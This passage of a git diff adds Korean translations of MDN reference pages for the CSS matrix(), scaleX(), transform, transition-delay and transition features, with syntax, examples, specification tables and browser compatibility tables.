+<div class="note"><strong>주의:</strong> 파이어폭스 16까지, Gecko(엔진) <code>tx</code>, <code>ty</code> 에{{cssxref("&lt;length&gt;")}} 값을 허용했습니다.</div>
+
+<pre class="syntaxbox notranslate">matrix(<em>a</em>, <em>b</em>, <em>c</em>, <em>d</em>, <em>tx</em>, <em>ty</em>)
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>a</code> <code>b</code> <code>c</code> <code>d</code></dt>
+ <dd>{{cssxref("&lt;number&gt;")}}는 선형 변환(linear transformation)을 설명합니다.</dd>
+ <dt><code>tx</code> <code>ty</code></dt>
+ <dd>{{cssxref("&lt;number&gt;")}}는 적용 할 이동(translation)을 설명합니다.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+ <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+ <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+ <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd></mtr> <mtr><mtd>b</mtd><mtd>d</mtd></mtr> </mtable> </mfenced> </math></td>
+ <td><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd><mtd>tx</mtd></mtr><mtr><mtd>b</mtd><mtd>d</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+ <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd><mtd>tx</mtd></mtr><mtr><mtd>b</mtd><mtd>d</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+ <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>a</mtd><mtd>c</mtd><mtd>0</mtd><mtd>tx</mtd></mtr><mtr><mtd>b</mtd><mtd>d</mtd><mtd>0</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+ </tr>
+ <tr>
+ <td><code>[a b c d tx ty]</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div&gt;Normal&lt;/div&gt;
+&lt;div class="changed"&gt;Changed&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">div {
+ width: 80px;
+ height: 80px;
+ background-color: skyblue;
+}
+
+.changed {
+ transform: matrix(1, 2, -1, 1, 80, 80);
+ background-color: pink;
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Examples", 350, 350)}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>호환성 정보는 <code><a href="/ko/docs/Web/CSS/transform-function#Browser_compatibility">&lt;transform-function&gt;</a></code> 데이터 타입을 확인하세요.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+ <li><code><a href="/en-US/docs/Web/CSS/transform-function/matrix3d">matrix3d()</a></code></li>
+ <li><a href="https://dev.opera.com/articles/understanding-the-css-transforms-matrix/">Understanding the CSS Transforms Matrix</a></li>
+</ul>
diff --git a/files/ko/web/css/transform-function/scalex()/index.html b/files/ko/web/css/transform-function/scalex()/index.html
new file mode 100644
index 0000000000..7ef38655fe
--- /dev/null
+++ b/files/ko/web/css/transform-function/scalex()/index.html
@@ -0,0 +1,101 @@
+---
+title: scaleX()
+slug: Web/CSS/transform-function/scaleX()
+translation_of: Web/CSS/transform-function/scaleX()
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a> 함수인 <strong><code>scaleX()</code></strong> x 축을 따라 (수평방향)으로 요소의 크기를 조절하는 변형을 정의합니다. 결과는  {{cssxref("&lt;transform-function&gt;")}}  데이터 타입 입니다.</p>
+
+<p><img src="https://mdn.mozillademos.org/files/12117/scaleX.png" style="height: 315px; width: 372px;"></p>
+
+<p>스케일 팩터가 1 인 경우를 제외하고 상수 요소로 각 엘리먼트 위치의 가로 좌표를 수정합니다, 이 경우 함수는 항등 변환입니다.스케일링은 등방성이 아니며, 엘리먼트의 각도는 보존되지 않습니다.<code>scaleX(-1)</code> 은 원점을 지나는 수직축이 있는 <a class="external" href="http://en.wikipedia.org/wiki/Axial_symmetry">대칭축</a>을 의미합니다  ( {{cssxref("transform-origin")}} 속성의해 지정되어집니다).</p>
+
+<div class="note">
+<p><strong>Note:</strong> <code>scaleX(sx)</code> 는 <code><a href="/en-US/docs/Web/CSS/transform-function/scale">scale</a>(sx, 1)</code> 또는  <code><a href="/en-US/docs/Web/CSS/transform-function/scale3d">scale3d</a>(sx, 1, 1)</code> 와 같습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">scaleX(<em>s</em>)
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>s</code></dt>
+ <dd>요소의 각 위치의 횡좌표에 적용 할 스케일링 펙터를 나타내는 {{cssxref("&lt;number&gt;")}} 입니다.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+ <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+ <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+ <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>s</mtd><mtd>0</mtd></mtr> <mtr><mtd>0</mtd><mtd>1</mtd></mtr> </mtable> </mfenced> </math></td>
+ <td><math> <mfenced><mtable><mtr>s<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+ <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>s<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+ <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>s<mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+ </tr>
+ <tr>
+ <td><code>[s 0 0 1 0 0]</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;Normal&lt;/div&gt;
+&lt;div class="scaled"&gt;Scaled&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+ width: 80px;
+ height: 80px;
+ background-color: skyblue;
+}
+
+.scaled {
+ transform: scaleX(0.6);
+ background-color: pink;
+}
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Examples","200","200")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS3 Transforms", "#funcdef-transform-scalex", "scaleX()")}}</td>
+ <td>{{Spec2("CSS3 Transforms")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+</ul>
diff --git a/files/ko/web/css/transform/index.html b/files/ko/web/css/transform/index.html
new file mode 100644
index 0000000000..a270b6733b
--- /dev/null
+++ b/files/ko/web/css/transform/index.html
@@ -0,0 +1,151 @@
+---
+title: transform
+slug: Web/CSS/transform
+tags:
+ - CSS
+ - CSS Property
+ - Reference
+ - transform
+translation_of: Web/CSS/transform
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>transform</code></strong> 속성으로 요소에 회전, 크기 조절, 기울이기, 이동 효과를 부여할 수 있습니다.</span> <code>transform</code>은 CSS <a href="/ko/docs/Web/Guide/CSS/Visual_formatting_model">시각적 서식 모델</a>의 좌표 공간을 변경합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/transform.html")}}</div>
+
+
+
+<p><code>none</code>이 아닌 값을 지정하면 새로운 <a href="/ko/docs/Web/CSS/Understanding_z-index/The_stacking_context">쌓임 맥락</a>을 생성합니다. 이 경우, {{cssxref("position")}}이 <code>fixed</code>거나 <code>absolute</code>인 요소의 <a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a>으로서 작용합니다.</p>
+
+<div class="warning">
+<p>변형 가능한 요소만 <code>transform</code>할 수 있습니다. 즉, CSS 박스 모델이 레이아웃을 결정하는 모든 요소 중 <a href="/ko/docs/Web/CSS/Visual_formatting_model#Inline-level_elements_and_inline_boxes">비대체 인라인 박스</a>, <a href="/ko/docs/Web/HTML/Element/col">표 열 박스</a>, <a href="/ko/docs/Web/HTML/Element/colgroup">표 열 그룹 박스</a>를 제외한 요소에만 적용할 수 있습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css">/* 키워드 값 */
+transform: none;
+
+/* 함수 값 */
+transform: matrix(1.0, 2.0, 3.0, 4.0, 5.0, 6.0);
+transform: matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1);
+transform: perspective(17px);
+transform: rotate(0.5turn);
+transform: rotate3d(1, 2.0, 3.0, 10deg);
+transform: rotateX(10deg);
+transform: rotateY(10deg);
+transform: rotateZ(10deg);
+transform: translate(12px, 50%);
+transform: translate3d(12px, 50%, 3em);
+transform: translateX(2em);
+transform: translateY(3in);
+transform: translateZ(2px);
+transform: scale(2, 0.5);
+transform: scale3d(2.5, 1.2, 0.3);
+transform: scaleX(2);
+transform: scaleY(0.5);
+transform: scaleZ(0.3);
+transform: skew(30deg, 20deg);
+transform: skewX(30deg);
+transform: skewY(1.07rad);
+
+/* 다중 함수 값 */
+transform: translateX(10px) rotate(10deg) translateY(5px);
+transform: perspective(500px) translate(10px, 0, 20px) rotateY(3deg);
+
+/* 전역 값 */
+transform: inherit;
+transform: initial;
+transform: unset;</pre>
+
+<p><code>transform</code> 속성은 키워드 <code>{{anch("none")}}</code> 또는 하나 이상의 <code>{{anch("&lt;transform-function&gt;")}}</code> 값을 사용해 지정할 수 있습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt id="&lt;transform-function>">{{cssxref("&lt;transform-function&gt;")}}</dt>
+ <dd>요소에 적용할 하나 이상의 <a href="/ko/docs/Web/CSS/transform-function">CSS 변형 함수</a>. 변형 함수는 왼쪽에서 오른쪽으로 곱해집니다. 즉, 요소에 변형을 오른쪽부터 왼쪽으로 하나씩 순서대로 적용하는 것과 같습니다.</dd>
+ <dt id="none"><code>none</code></dt>
+ <dd>아무런 변형도 적용하지 않음.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<p>{{cssxref("transform-function/perspective", "perspective()")}}가 변형 함수의 일부라면 항상 제일 앞에 위치해야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;Transformed element&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+ border: solid red;
+ transform: translate(30px, 20px) rotate(20deg);
+ width: 140px;
+ height: 60px;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", "400", "160")}}</p>
+
+<p><a href="/ko/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms">CSS 변형 사용하기</a>와 {{cssxref("&lt;transform-function&gt;")}} 문서를 방문해 더 많은 예제를 찾아보세요.</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>크기 변경/확대/축소 애니메이션은 흔한 편두통 유발 요인이므로 접근성에 좋지 않습니다. 그러나 꼭 넣어야 한다면 되도록 사이트 전체의 애니메이션을 켜거나 끌 수 있는 방법을 제공하는걸 고려해주세요.</p>
+
+<p>{{cssxref("@media/prefers-reduced-motion", "prefers-reduced-motion")}} 미디어 기능을 사용할 수도 있습니다. <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries">미디어 쿼리</a>와 함께 사용하면, 사용자가 시스템 설정에서 애니메이션을 줄였는지 알아내고, 애니메이션을 비활성화할 수 있습니다.</p>
+
+<p>자세한 내용은 다음 링크에서 확인할 수 있습니다.</p>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.3_%E2%80%94_Seizures_and_Physical_Reactions_Do_not_design_content_in_a_way_that_is_known_to_cause_seizures_or_physical_reactions">MDN Understanding WCAG, Guideline 2.3 explanations</a></li>
+ <li><a href="https://www.w3.org/WAI/WCAG21/Understanding/animation-from-interactions">Understanding Success Criterion 2.3.3 | W3C Understanding WCAG 2.1</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS Transforms 2', '#transform-functions', 'transform')}}</td>
+ <td>{{Spec2('CSS Transforms 2')}}</td>
+ <td>Adds 3D transform functions.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Transforms', '#transform-property', 'transform')}}</td>
+ <td>{{Spec2('CSS3 Transforms')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.transform")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms" title="/en-US/docs/CSS/Using_CSS_transforms">CSS 변형 사용하기</a></li>
+ <li>변형 함수의 설명을 담은 {{cssxref("&lt;transform-function&gt;")}} 자료형 문서.</li>
+ <li>CSS 변형 함수의 시각화가 가능한 온라인 도구: <a href="https://css-transform.moro.es/">CSS Transform Playground</a></li>
+</ul>
diff --git a/files/ko/web/css/transition-delay/index.html b/files/ko/web/css/transition-delay/index.html
new file mode 100644
index 0000000000..17a8543321
--- /dev/null
+++ b/files/ko/web/css/transition-delay/index.html
@@ -0,0 +1,395 @@
+---
+title: transition-delay
+slug: Web/CSS/transition-delay
+translation_of: Web/CSS/transition-delay
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p><strong><code>transition-delay</code></strong> CSS 속성은 transition될 속성이 transition 요청을 받은 이후 실제로 <a href="/ko/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions">transition하기</a>까지 기다려야하는 시간의 양을 지정합니다.</p>
+
+<p>A value of <code>0s</code>, or <code>0ms</code>, indicates that the property will begin to animate its transition immediately when the value changes; positive values will delay the start of the transition effect for the corresponding number of seconds. Negative values cause the transition to begin immediately, but to cause the transition to seem to begin partway through the animation effect.</p>
+
+<p>You may specify multiple delays; each delay will be applied to the corresponding property as specified by the {{cssxref("transition-property")}} property, which acts as a master list. If there are fewer delays specified than in the master list, missing values are set to the initial value (<code>0s</code>). If there are more delays, the list is simply truncated to the right size. In both case the CSS declaration stays valid.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: css">/* &lt;time&gt; values */
+transition-delay: 3s;
+transition-delay: 2s, 4ms;
+
+/* Global values */
+transition-delay: inherit;
+transition-delay: initial;
+transition-delay: unset;
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>&lt;time&gt;</code></dt>
+ <dd>Is a {{cssxref("&lt;time&gt;")}} denoting the amount of time to wait between a property's value changing and the start of the animation effect.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<div>
+<div id="delay_0_5s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-delay: 0.5s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+ &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+ </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+ width: 100px;
+ height: 100px;
+ background-color: red;
+ font-size: 20px;
+ left: 0px;
+ top: 0px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-delay:0.5s;
+ -webkit-transition-timing-function: linear;
+ transition-property: width height background-color font-size left top color;
+ transition-duration:2s;
+ transition-delay:0.5s;
+ transition-timing-function: linear;
+}
+.box1{
+ width: 50px;
+ height: 50px;
+ background-color: blue;
+ color: yellow;
+ font-size: 18px;
+ left: 150px;
+ top:25px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-delay:0.5s;
+ -webkit-transition-timing-function: linear;
+ transition-property: width height background-color font-size left top color;
+ transition-duration:2s;
+ transition-delay:0.5s;
+ transition-timing-function: linear;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+ var el = document.querySelector("div.box");
+
+ if (el) {
+ el.className = "box1";
+ } else {
+ el = document.querySelector("div.box1");
+ el.className = "box";
+ }
+
+ return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("delay_0_5s",275,150)}}</div>
+</div>
+
+<div id="delay_1s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-delay: 1s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+ &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+ </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+ width: 100px;
+ height: 100px;
+ background-color: red;
+ font-size: 20px;
+ left: 0px;
+ top: 0px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-delay:1s;
+ -webkit-transition-timing-function: linear;
+ transition-property: width height background-color font-size left top color;
+ transition-duration:2s;
+ transition-delay:1s;
+ transition-timing-function: linear;
+}
+.box1{
+ width: 50px;
+ height: 50px;
+ background-color: blue;
+ color: yellow;
+ font-size: 18px;
+ left: 150px;
+ top:25px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-delay:1s;
+ -webkit-transition-timing-function: linear;
+ transition-property: width height background-color font-size left top color;
+ transition-duration:2s;
+ transition-delay:1s;
+ transition-timing-function: linear;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+ var el = document.querySelector("div.box");
+
+ if (el) {
+ el.className = "box1";
+ } else {
+ el = document.querySelector("div.box1");
+ el.className = "box";
+ }
+
+ return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("delay_1s",275,150)}}</div>
+</div>
+
+<div id="delay_2s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-delay: 2s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+ &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+ </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+ width: 100px;
+ height: 100px;
+ background-color: red;
+ font-size: 20px;
+ left: 0px;
+ top: 0px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-delay:2s;
+ -webkit-transition-timing-function: linear;
+ transition-property: width height background-color font-size left top color;
+ transition-duration:2s;
+ transition-delay:2s;
+ transition-timing-function: linear;
+}
+.box1{
+ width: 50px;
+ height: 50px;
+ background-color: blue;
+ color: yellow;
+ font-size: 18px;
+ left: 150px;
+ top:25px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-delay:2s;
+ -webkit-transition-timing-function: linear;
+ transition-property: width height background-color font-size left top color;
+ transition-duration:2s;
+ transition-delay:2s;
+ transition-timing-function: linear;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+ var el = document.querySelector("div.box");
+
+ if (el) {
+ el.className = "box1";
+ } else {
+ el = document.querySelector("div.box1");
+ el.className = "box";
+ }
+
+ return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("delay_2s",275,150)}}</div>
+</div>
+
+<div id="delay_4s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-delay: 4s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+ &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+ </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+ width: 100px;
+ height: 100px;
+ background-color: red;
+ font-size: 20px;
+ left: 0px;
+ top: 0px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-delay:4s;
+ -webkit-transition-timing-function: ease-in-out;
+ transition-property: width height background-color font-size left top color;
+ transition-duration:2s;
+ transition-delay:4s;
+ transition-timing-function: ease-in-out;
+}
+.box1{
+ width: 50px;
+ height: 50px;
+ background-color: blue;
+ color: yellow;
+ font-size: 18px;
+ left: 150px;
+ top:25px;
+ position:absolute;
+ -webkit-transition-property: width height background-color font-size left top color;
+ -webkit-transition-duration:2s;
+ -webkit-transition-delay:4s;
+ -webkit-transition-timing-function: ease-in-out;
+ transition-property: width height background-color font-size left top color;
+ transition-duration:2s;
+ transition-delay:4s;
+ transition-timing-function: ease-in-out;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+ var el = document.querySelector("div.box");
+
+ if (el) {
+ el.className = "box1";
+ } else {
+ el = document.querySelector("div.box1");
+ el.className = "box";
+ }
+
+ return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("delay_4s",275,150)}}</div>
+</div>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Transitions', '#transition-delay', 'transition-delay')}}</td>
+ <td>{{Spec2('CSS3 Transitions')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0 {{property_prefix("-webkit")}}</td>
+ <td>{{CompatGeckoDesktop("2.0")}} {{property_prefix("-moz")}}<br>
+ {{CompatGeckoDesktop("16.0")}}<sup>[1]</sup></td>
+ <td>10.0</td>
+ <td>11.6 {{property_prefix("-o")}}<br>
+ 12.10</td>
+ <td>3.0 {{property_prefix("-webkit")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>2.1 {{property_prefix("-webkit")}}</td>
+ <td>{{CompatGeckoMobile("2.0")}} {{property_prefix("-moz")}}<br>
+ {{CompatGeckoMobile("16.0")}}<sup>[1]</sup></td>
+ <td>{{CompatUnknown}}</td>
+ <td>10.0 {{property_prefix("-o")}}<br>
+ 12.10<sup>[2]</sup></td>
+ <td>3.2 {{property_prefix("-webkit")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] In addition to the unprefixed support, Gecko 44.0 {{geckoRelease("44.0")}} added support for a <code>-webkit</code> prefixed version of the property for web compatibility reasons behind the preference <code>layout.css.prefixes.webkit</code>, defaulting to <code>false</code>. Since Gecko 49.0 {{geckoRelease("49.0")}} the preference defaults to <code>true</code>.</p>
+
+<p>[2] See <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot">blog post about Opera 12.50</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions">Using CSS transitions</a></li>
+ <li>{{domxref("TransitionEvent")}}</li>
+</ul>
diff --git a/files/ko/web/css/transition/index.html b/files/ko/web/css/transition/index.html
new file mode 100644
index 0000000000..039bedc362
--- /dev/null
+++ b/files/ko/web/css/transition/index.html
@@ -0,0 +1,150 @@
+---
+title: transition
+slug: Web/CSS/transition
+translation_of: Web/CSS/transition
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p><strong><code>transition</code></strong> <a href="/en/CSS" title="CSS">CSS </a>속성은 {{ cssxref("transition-property") }}, {{ cssxref("transition-duration") }}, {{ cssxref("transition-timing-function") }} 과 {{ cssxref("transition-delay") }}를 위한 <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>입니다. 이 속성으로 엘리먼트의 두 가지 상태 사이에 변화를 줄 수 있습니다. 엘리먼트의 각 상태는 <a href="/ko/docs/Web/CSS/Pseudo-classes">가상 클래스</a> 를 사용해 정의된 {{cssxref(":hover")}} 이나 {{cssxref(":active")}} 또는 자바스크립트를 사용해 동적으로 만들어진 것들입니다.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush:css">/* Apply to 1 property */
+/* property name | duration */
+transition: margin-left 4s;
+
+/* property name | duration | delay */
+transition: margin-left 4s 1s;
+
+/* property name | duration | timing function | delay */
+transition: margin-left 4s ease-in-out 1s;
+
+/* Apply to 2 properties */
+transition: margin-left 4s, color 1s;
+
+/* Apply to all changed properties */
+transition: all 0.5s ease-out;
+
+/* Global values */
+transition: inherit;
+transition: initial;
+transition: unset;
+</pre>
+
+<p>이 속성에서 각 항목의 순서는 중요합니다: 시간으로 해석될 수 있는 값이 첫번째에 위치한다면 {{cssxref("transition-duration")}} 로 적용되고, 두번째에 위치한다면 {{cssxref("transition-delay")}} 로 적용됩니다.</p>
+
+<p>속성값 목록이 알맞은 길이를 갖지 않는다면 어떻게 처리될지 궁금하다면 <a href="/ko/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions#속성값_목록이_다른_개수를_가진_경우">속성값 목록이 다른 개수를 가진 경우</a>를 참고하세요. 요컨대, 실제 속성의 개수보다 많이 기술된 것은 무시됩니다.</p>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<p><a href="/ko/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions">CSS 트랜지션 사용하기</a> 에 다양한 CSS transition 예제가 있습니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Transitions', '#transition-shorthand-property', 'transition') }}</td>
+ <td>{{ Spec2('CSS3 Transitions') }}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
